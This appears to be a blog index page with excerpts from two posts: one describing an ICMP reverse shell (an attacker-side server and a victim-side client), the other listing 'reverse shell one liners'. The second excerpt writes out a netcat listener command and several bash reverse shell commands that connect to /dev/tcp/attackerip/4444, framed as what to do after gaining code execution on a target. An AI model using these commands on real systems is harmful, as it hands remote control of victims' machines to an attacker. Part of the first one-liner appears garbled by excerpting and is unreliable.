ICMP Reverse Command Shell

Introduction This post demonstrates a reverse shell over ICMP which will work on both windows and linux platforms. The idea is to create two different programs, a server program which will run on attacker controlled machine and a client program which when run on a victims machine will connect to the server program. Once connected, the client program will accept commands from server and will reply with the command output. Both client and server will make use of ICMP Echo messages to communicate....

March 16, 2022 · 7 min · Rizal

Reverse Shell One Liners

There might be several occasions where you might have code execution on a target machine and you sit there wondering what to do next. Well here is what you can do. Setup netcat listener on port 4444. nc -nvlp 4444 Bash exec /bin/bash 0&0 2>&0 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done bash -i >& /dev/tcp/attackerip/4444 0>&1 ...

September 1, 2016 · 2 min · Rizal